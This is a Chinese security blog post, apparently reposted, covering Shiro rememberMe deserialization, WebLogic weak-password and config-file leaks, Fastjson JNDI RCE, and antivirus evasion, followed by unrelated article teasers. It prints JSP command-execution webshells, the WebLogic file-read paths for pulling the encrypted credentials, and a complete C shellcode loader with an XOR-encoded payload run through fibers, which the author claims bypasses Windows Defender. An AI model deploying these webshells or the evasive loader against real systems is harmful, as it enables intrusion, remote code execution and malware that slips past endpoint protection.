框架漏洞Shiroweblogicfastjson || 免杀思路

news2025/1/15 17:50:57

继续来讲一下我们的框架漏洞,先讲一下Shiro

1.Shiro反序列化

1.原理

Shiro的漏洞形成呢,就是因为存在了RememberMe这样的一个字段

Shiro 框架在处理 "rememberMe" 功能时使用了不安全的反序列化方法,攻击者可以构造恶意序列化数据,利用漏洞来执行恶意代码

2.Shiro框架特点

像在这样的一种界面,我们就可以先去抓个包

然后我们去将cookie值改成 

rememberMe=1

然后就能看见shiro的框架特点了

rememberMe=delteme

如果我们随便输入一个密码,那么无论我们是否勾选RememberMe字段,照样也是有相应字段

然后如果我们输入的是正确密码,但是不勾选RememberMe字段,那么它的返回包会返回一个setcookie的值,然后也同样包含rememberme=deleteme字段

但是,如果我们在输入的密码正确的情况下,而且勾选上了Rememberme字段,那么就会返回一个remberme的字段,包括以后也会包含rememberme的字段

3.漏洞利用

在这里我就直接用利群了

先是将存在RememberMe字段的url敲进去,然后我们可以看见它的poc里面也是放了一个Rememberme=1的poc来执行探针!!!

然后就去检测了 !!! 发现能找到Key以及利用链组合!!!

然后就可以RCE了!!!

但是RCE怎么能足够呢?? 肯定还要去进行getshell捏!!! (好险利群有一键getshell)

首先开一个nc进行监听还是这么骚的端口,hhh

然后就可以去一键弹shell了!!!

这样,就完成了Shiro的漏洞复现了!!!

2.Weblogic_WeakPasswd

这里就到了weblogic啦!!!

1.什么是weblogic!!

WebLogic是美国Oracle公司出品的一个Java应用服务器,确切的说是一个基于JAVA EE架构的中间件。
WebLogic用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用。它可以帮助企业构建、运行、调整复杂的Java应用程序,具有高效能、可扩展和可靠的特性

2.weblogic的特点

weblogic默认的会开放7001端口,然而,weblogic对应的漏洞实在是太多了!!(反序列化!!)

看,数不胜数,那么讲了那么久的反序列化,那么我们就来讲一下Weakpasswd(后面我会把weblogic的反序列化给补上的!!!)

还记得我刚才说得7001吗,如果我们在访问的时候出现这样的页面,那么我们就可以去拼接目录

/console/login/LoginForm.jsp

可以看见是能够直接访问到他的登录后台的!!!

3.Weblogic漏洞利用!

对于上面,我们可以有两种方法

1.弱口令爆破

BP_cluster_bomb模式,虽然都是显示302,但是有一个包的明显长度就不一样!!!!

顺便来补一波状态码

  1. 信息,服务器收到请求,需要请求者继续执行操作
  2. 成功,操作被成功接收并处理
  3. 重定向,需要进一步的操作以完成请求
  4. 客户端错误,请求包含语法错误或无法完成请求
  5. 服务器错误,服务器在处理请求的过程中发生了错误

那么,我们就可以去试一下这个对应的密码!!可以看见时能够成功访问的!!!

2.拼接路径获取

这也就是为什么他的名字叫做weak_leak的原因了!!!

先是拼接第一个路径

/hello/file.jsp?path=security/SerializedSystemIni.dat

这时候我们就要去找对应的包

将这一段复制出来!!! 然后再去拼接第二段路径

hello/file.jsp?path=config/config.xml

然后这一个包返回的信息就多了!!!

一个是AES的密钥,一个是用户名字!!!!

然后就用工具去解密就好了!!

都能进后台了,肯定是想getshell啦!!! 

3.RCE(部署文件)

既然getshell,那就要文件上传啦!!! 

然后因为weblogic是java的环境,那么肯定是要写jsp的马啦,不过以前写的都是php的,那么今天就来补充一些jsp的吧!!(这些肯定是不免杀的)

<%
Runtime.getRuntime().exec(request.getParameter("shell"));
%>

但是这里不能直接上传,需要对木马进行一些操作

  • 首先肯定要一个jsp的马,肯定没得说
  • 然后就是将他打包
  • 然后把他改成一个War包

然后就可以去上传了,(基本上就是无脑的下一步了)

这里你填一个你记得的名字就好了!!

然后就是能看见我们部署的里面的文件了,是可以成功RCE的

但是不知道为什么,感觉蚁剑有点连接不上???我换了一个jsp的马

<%@ page import="java.io.*" %>
<%
    String cmd = request.getParameter("cmd");
    if (cmd != null) {
        Process p = Runtime.getRuntime().exec(cmd);
        BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
        String line;
        while ((line = br.readLine()) != null) {
            out.println(line);
        }
        br.close();
    }
%>

RCE是可以的 

但是连接就不行了 

4.Liqunkit工具利用

既然连接不上,那么我们就尝试一下别的方法,用工具!!(利群)

可以成功检测出来的,可以看见,尝试一下RCE

okay!! 能RCE那么我们就去试一下文件上传

发现上传成功,于是就尝试一下蚁剑能否成功!!! 

但是蚁剑似乎就不太礼貌了,啊啊啊啊啊 

似乎是环境的问题,我试了冰蝎,哥斯拉,都连接不上

3.Fastjson反序列化

在讲fastjson之前,先来讲一下json

Json::JavaScript Object Notation  即JavaScript对象标记法,使用键值对进行信息的存储

其本质上就是一种字符串,可以用于信息的交换于存储

如下,就是一个例子 

{
"name":"BossFrank",
"age":23,
"media":["CSDN","bilibili","Github"]
}

而Fastjson 是一个阿里巴巴公司开源的 Java 语言编写的高性能功能完善的 JSON 库。可以将Java 对象转换为 JSON 格式(序列化),当然它也可以将 JSON 字符串转换为 Java 对象(反序列化)。

所以漏洞就是这么出来的啦,下面来举一个例子

  假设有如下两个类

当一个类只有一个接口的时候,将这个类的对象序列化的时候,就会将子类抹去
(apple/iphone)只保留接口的类型(Fruit),最后导致反序列化时无法得到原始类型。

本例中,将两个json再反序列化生成java对象的时候,无法区分原始类是apple还是iphone。
为了解决上述问题: fastjson引入了基于属性(AutoType),即在序列化的时候,先把原始类型记录下来,使用@type的键记录原始类型



在本例中,引入AutoType后,Apple类对象序列化为json格式后为:
{ "fruit":{ "@type":"com.hollis.lab.fastjson.test.Apple", "price":0.5 } }


引入AutoType后,iphone类对象序列化为json格式后为:
{ "fruit":{ "@type":"com.hollis.lab.fastjson.test.iphone", "price":5000 } }


这样在反序列化的时候就可以区分原始的类了。

这样子做好像没什么问题,但是这可难不倒黑客们

fastJSON在反序列化时,可能会将目标类的构造函数、getter方法、setter方法、is
方法执行一遍,如果此时这四个方法中有危险操作,则会导致反序列化漏洞

也就是说攻击者传入的序列化数据中需要目标类的这些方法中要存在漏洞才能触发。
攻击者准备rmi服务和web服务,将rmi绝对路径注入到lookup方法中,受害者JNDI
接口会指向攻击者控制rmi服务器,JNDI接口向攻击者控制web服务器远程加载恶意代码,执行构造函数形成RCE。

怎么样,是不是Log4j2 很相似,也是ldap和 jndi的应用

那么就是常规操作了,先开个服务

然后再去开一个ldap的服务

然后就是去用nc去监听你的端口了

然后就是去BP构造你的poc了

然后就是getshell了

4.免杀

1.代码分享

首先肯定是要声明了!!

以下的一切代码以及思路仅供学习参考,禁止用于任何形式的违法行为,请自觉遵守中华人名共和国网络安全法!!!


我来先贴一段代码

#include <windows.h>
#include <stdio.h>

void likeww(char* nb) {
    int id = atoi(nb);

    unsigned char hello[] = {
       0xDC, 0xC8, 0xAF, 0x20, 0x20, 0x20, 0x40, 0x11,
        0xF2, 0xA9, 0xC5, 0x44, 0xAB, 0x72, 0x10, 0xAB,
         0x72, 0x2C, 0xAB, 0x72, 0x34, 0xAB, 0x52, 0x08,
         0x11, 0xDF, 0x2F, 0x97, 0x6A, 0x06, 0x11, 0xE0,
         0x8C, 0x1C, 0x41, 0x5C, 0x22, 0x0C, 0x00, 0xE1,
          0xEF, 0x2D, 0x21, 0xE7, 0x69, 0x55, 0xCF, 0x72,
           0x77, 0xAB, 0x72, 0x30, 0xAB, 0x62, 0x1C, 0x21,
            0xF0, 0xAB, 0x60, 0x58, 0xA5, 0xE0, 0x54, 0x6C,
            0x21, 0xF0, 0x70, 0xAB, 0x78, 0x00, 0x21, 0xF3,
             0xAB, 0x68, 0x38, 0xA5, 0xE9, 0x54, 0x1C, 0x69,
              0x11, 0xDF, 0xAB, 0x14, 0xAB, 0x21, 0xF6, 0x11,
               0xE0, 0x8C, 0xE1, 0xEF, 0x2D, 0x21, 0xE7, 0x18,
                0xC0, 0x55, 0xD4, 0x23, 0x5D, 0xD8, 0x1B, 0x5D,
                 0x04, 0x55, 0xC0, 0x78, 0xAB, 0x78, 0x04, 0x21,
                  0xF3, 0x46, 0xAB, 0x2C, 0x6B, 0xAB, 0x78, 0x3C,
                  0x21, 0xF3, 0xAB, 0x24, 0xAB, 0x21, 0xF0, 0xA9,
                  0x64, 0x04, 0x04, 0x7B, 0x7B, 0x41, 0x79, 0x7A, 0x71,
                   0xDF, 0xC0, 0x78, 0x7F, 0x7A, 0xAB, 0x32, 0xC9, 0xA0,
                   0xDF, 0xDF, 0xDF, 0x7D, 0x48, 0x13, 0x12, 0x20, 0x20,
                   0x48, 0x57, 0x53, 0x12, 0x7F, 0x74, 0x48, 0x6C, 0x57, 0x06,
                    0x27, 0xA9, 0xC8, 0xDF, 0xF0, 0x98, 0xB0, 0x21, 0x20, 0x20,
                     0x09, 0xE4, 0x74, 0x70, 0x48, 0x09, 0xA0, 0x4B, 0x20, 0xDF,
                      0xF5, 0x4A, 0x2A, 0x48, 0xE0, 0x88, 0xD6, 0xA0, 0x48, 0x22,
                       0x20, 0x03, 0xC7, 0xA9, 0xC6, 0x70, 0x70, 0x70, 0x70, 0x60,
                       0x70, 0x60, 0x70, 0x48, 0xCA, 0x2F, 0xFF, 0xC0, 0xDF, 0xF5,
                        0xB7, 0x4A, 0x30, 0x76, 0x77, 0x48, 0xB9, 0x85, 0x54, 0x41, 0xDF, 0xF5, 0xA5, 0xE0, 0x54, 0x2A, 0xDF, 0x6E, 0x28, 0x55, 0xCC, 0xC8, 0x47, 0x20, 0x20, 0x20, 0x4A, 0x20, 0x4A, 0x24, 0x76, 0x77, 0x48, 0x22, 0xF9, 0xE8, 0x7F, 0xDF, 0xF5, 0xA3, 0xD8, 0x20, 0x5E, 0x16, 0xAB, 0x16, 0x4A, 0x60, 0x48, 0x20, 0x30, 0x20, 0x20, 0x76, 0x4A, 0x20, 0x48, 0x78, 0x84, 0x73, 0xC5, 0xDF, 0xF5, 0xB3, 0x73, 0x4A, 0x20, 0x76, 0x73, 0x77, 0x48, 0x22, 0xF9, 0xE8, 0x7F, 0xDF, 0xF5, 0xA3, 0xD8, 0x20, 0x5D, 0x08, 0x78, 0x48, 0x20, 0x60, 0x20, 0x20, 0x4A, 0x20, 0x70, 0x48, 0x2B, 0x0F, 0x2F, 0x10, 0xDF, 0xF5, 0x77, 0x48, 0x55, 0x4E, 0x6D, 0x41, 0xDF, 0xF5, 0x7E, 0x7E, 0xDF, 0x2C, 0x04, 0x2F, 0xA5, 0x50, 0xDF, 0xDF, 0xDF, 0xC9, 0xBB, 0xDF, 0xDF, 0xDF, 0x21, 0xE3, 0x09, 0xE6, 0x55, 0xE1, 0xE3, 0x9B, 0xD0, 0x95, 0x82, 0x76, 0x4A, 0x20, 0x73, 0xDF, 0xF5

    };

    LPVOID fiber = ConvertThreadToFiber(NULL);
    LPVOID Alloc = VirtualAlloc(NULL, sizeof(hello), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    for (int i = 0; i < sizeof(hello); i++) {
        hello[i] ^= id;
    }
    CopyMemory(Alloc, hello, sizeof(hello));
    LPVOID shellFiber = CreateFiber(0, (LPFIBER_START_ROUTINE)Alloc, NULL);
    SwitchToFiber(shellFiber);
}

int main(int argc, char* argv[]) {
    printf("jquery");
    if (argc == 2) {
        printf("The argument supplied is %s\n", argv[1]);
        likeww(argv[1]);
    }
    else if (argc > 2) {
        printf("Too many arguments supplied.\n");
    }
    else {
        printf("One argument expected.\n");
    }

    return 0; // 返回值表示程序正常退出
}

至于怎么用呢,那肯定是不能教的(我不想进去)但是这个🐎,过火绒,过Windows defender还是可以的,如果想要过360,还需要在main函数进行一些对应的操作!!!

   当然了,还是不能教(我还没学到那

那么下面我们就来聊一下免杀的学习思路吧

2.免杀思路

对于各路的牛鬼蛇神

他们的杀毒思路一般都是这样的

那么应该怎么免杀呢?

  • 对于火绒这种,加个壳就过了(不好评价)(实在难评)

但是呢,你对360是肯定过不了的,因为360可是目前国内顶尖的安全软件公司

  (其实就连defender都过不了)

加花,加壳,这种在他们的云沙箱面前也只能算是小玩意

所以你就不能通过工具(网上找到的来免杀)(当然最新出的例外)

那应该怎么免杀呢?你应该学习以下的东西

汇编基础 ---> c语言 ---- > Windows 的常见api ---> win32相关知识(ddl劫持,ddl注入,过程伪装,shellcodeloader)----->了解常见的杀软特点

通过学习这些,360,defender,卡巴斯基,火绒这些对于你来说都是小菜一碟,最起码写出一个免杀360的马还是可以的

这不快到护网了嘛,每年护网,红队人员的木马全都免杀的,作为蓝队,你只能乞讨别人别来打你

  

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1513805.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

基于YOLOv8/YOLOv7/YOLOv6/YOLOv5的危险物品检测系统(深度学习模型+PySide6界面+训练数据集+Python代码)

摘要&#xff1a;本文深入介绍了一个采用深度学习技术的危险物品识别系统&#xff0c;该系统融合了最新的YOLOv8算法&#xff0c;并对比了YOLOv7、YOLOv6、YOLOv5等早期版本的性能。该系统在处理图像、视频、实时视频流及批量文件时&#xff0c;能够准确识别和分类各种危险物品…

9、组合模式(结构性模式)

组合模式又叫部分整体模式&#xff0c;它创建了对象组的树形结构&#xff0c;将对象组合成树状结构&#xff0c;以一致的方式处理叶子对象以及组合对象&#xff0c;不以层次高低定义类&#xff0c;都是结点类 一、传统组合模式 举例&#xff0c;大学、学院、系&#xff0c;它们…

勾八头歌之数据科学导论—数据预处理

第1关&#xff1a;引言-根深之树不怯风折&#xff0c;泉深之水不会涸竭 第2关&#xff1a;数据清理-查漏补缺 import numpy as np import pandas as pd import matplotlib.pyplot as pltdef student():# Load the CSV file and replace #NAME? with NaNtrain pd.read_csv(Tas…

人工智能的幽默“失误”

人工智能迷惑行为大赏 随着ChatGPT热度的攀升&#xff0c;越来越多的公司也相继推出了自己的AI大模型&#xff0c;如文心一言、通义千问等。各大应用也开始内置AI玩法&#xff0c;如抖音的AI特效&#xff5e;在使用过程中往往会遇到一些问题&#xff0c;让你不得不怀疑&#x…

反向传播 — 简单解释

一、说明 关于反向传播&#xff0c;我有一个精雕细刻的案例计划&#xff0c;但是实现了一半&#xff0c;目前没有顾得上继续充实&#xff0c;就拿论文的叙述这里先起个头&#xff0c;我后面将修改和促进此文的表述质量。 二、生物神经元 大脑是一个由大约100亿个神经元组成的复…

HD_VG_130M数据集预处理

数据集介绍 HD_VG_130M是文生视频常用数据集&#xff0c;其视频来源于油管&#xff0c;可通过该谷歌云盘链接下载官方文件&#xff0c;如下所示&#xff0c;其中metafiles中包含20个json文件&#xff0c;请先将其全部下载到本地&#xff0c;假设保存地址为"E:/HD_VG_130M…

Android Gradle 开发与应用 (六) : 创建buildSrc插件和使用命令行创建Gradle插件

1. 前言 前文中&#xff0c;我们介绍了在Android中&#xff0c;如何基于Gradle 8.2&#xff0c;创建Gradle插件。这篇文章&#xff0c;我们以buildSrc的方式来创建Gradle插件。此外&#xff0c;还介绍一种用Cmd命令行的方式&#xff0c;来创建独立的Gradle插件的方式。 1.1 本…

开源大数据集群部署(十五)Zookeeper集群部署

作者&#xff1a;櫰木 1、集群规划 主机版本角色系统用户hd1.dtstack.com3.7.1followerzookeeperhd2.dtstack.com3.7.1leaderzookeeperhd3.dtstack.com3.7.1followerzookeeper 2、zookeeper kerberos主体创建 在生产中zk服务端和客户端票据可以设置成不通名称或相同名称&am…

钉钉与实在智能达成战略合作,实在Agent助力钉钉AI助理成为“新质生产力”

3月12日&#xff0c;浙江实在智能科技有限公司&#xff08;简称“实在智能”&#xff09;与钉钉&#xff08;中国&#xff09;信息技术有限公司&#xff08;简称“钉钉”&#xff09;签署战略合作协议&#xff0c;达成战略合作伙伴关系。 未来&#xff0c;基于双方创新领先的技…

普乐蛙VR航天体验馆设备VR体验带你登陆月球

周末节假日这款设备人流量chao多&#xff01;景区&#xff1f;游乐场&#xff1f;电玩城爆滿&#xff0c;小编去了一次可是天天惦记着&#xff0c;学习/竞速/休闲/末日/kongbu&#xff0c;各种题材好过瘾&#xff01; 亲测不踩雷设备推荐&#xff01;华夏方舟——VR小白必玩的大…

学习Java的第九天

本章将学习什么是类的无参、带参方法又是什么 一、什么是类的无参方法 类是由一组具有相同属性和共同行为的实体抽象而来。对象执行的操作是通过编写类的方法实现的。显而易见&#xff0c;类的方法是一个功能模块&#xff0c;其作用是“做一件事情”。 1、类的方法必须包括以…

吴恩达机器学习笔记 十七 通过偏差与方差诊断性能 正则化 偏差 方差

高偏差&#xff08;欠拟合&#xff09;&#xff1a;在训练集上表现得也不好 高方差&#xff08;过拟合&#xff09;&#xff1a;J_cv要远大于J_train 刚刚好&#xff1a;J_cv和J_train都小 J_cv和J_train与拟合多项式阶数的关系 从一阶到四阶&#xff0c;训练集的误差越来越小…

走进AI新时代:织信低代码的实践与启示

最近 AIGC 很火&#xff0c;在各个领域都玩出了一些新花样。 比如在“低代码”领域&#xff0c;可以通过 AI 自动生成一个网站门户。 但这会带来开发效率的提升吗&#xff1f;如果 AI 能快速开发网站、APP等业务应用&#xff0c;那么 AI 生成能否完全取代低代码的可视化配置&a…

Java学习笔记------常用API

Math类 常用方法&#xff1a; 1. publicb static int abs(int a) 获取参数绝对值 2. publicb static double ceil(double a) 向上取整 3. publicb static floor(double a) 向下取整 4.public static int round(float a) 四舍五入 5. publicb static int max…

慎投!又新增1区SCI期刊被“On Hold”,共15本期刊正在调查中!

【SciencePub学术】近日&#xff0c;经小编查询&#xff0c;又新增一本SCI期刊被“暂停调查”&#xff01;该期刊隶属于TAYLOR & FRANCIS旗下&#xff0c;是一本JCR1区中科院4区的预警期刊。期刊详情如下&#xff1a; 01 新增“On Hold”期刊详情 BIOENGINEERED ISSN&…

【系统架构设计师】系统工程与信息系统基础 01

系统架构设计师 - 系列文章目录 01 系统工程与信息系统基础 文章目录 系列文章目录 前言 一、系统工程 ★ 二、信息系统生命周期 ★ 信息系统建设原则 三、信息系统开发方法 ★★ 四、信息系统的分类 ★★★ 1.业务处理系统【TPS】 2.管理信息系统【MIS】 3.决策支持系统…

java算法第22天 | ● 235. 二叉搜索树的最近公共祖先 ● 701.二叉搜索树中的插入操作 ● 450.删除二叉搜索树中的节点

235. 二叉搜索树的最近公共祖先 思路&#xff1a; 之前做过普通二叉树求共工作祖先的问题&#xff0c;有两种情况&#xff0c; 第一种是&#xff1a;如果一个节点的左孩子和右孩子分别包含p&#xff0c;q节点&#xff0c;那么这个节点是p和q的最近公共祖先。第二种是&#xff…

C++17中引入STL算法执行策略

C算法是一组预定义函数&#xff0c;可以对容器(例如数组、向量和列表)执行各种操作。这些算法具有定义的执行策略(have a defined execution policy)&#xff0c;决定它们如何执行以及如何与底层硬件交互。STL算法执行策略首先在C17标准中引入。 C17标准引入了三种新的执…

07 数据结构之图

# Makefile CCgcc CFLAGS -g -Wall SRCStest.c graph.c link_queue.c OBJS$(SRCS:.c.o) #variable replace APPtestall:$(OBJS) #指定一个目标&#xff0c; 不然默认目标不会检查依赖文件的时间戳$(CC) $(SRCS) -o $(APP) .PH…

Docker安装Prometheus监控

环境初始化 关闭防火墙 setenforce 0 vim /etc/selinux/config ##################内部代码################### SELINUXdisabled #关闭防火墙 ############################################ 安装docker #卸载yum源之前的docker安装包 sudo yum remove docker docker-clie…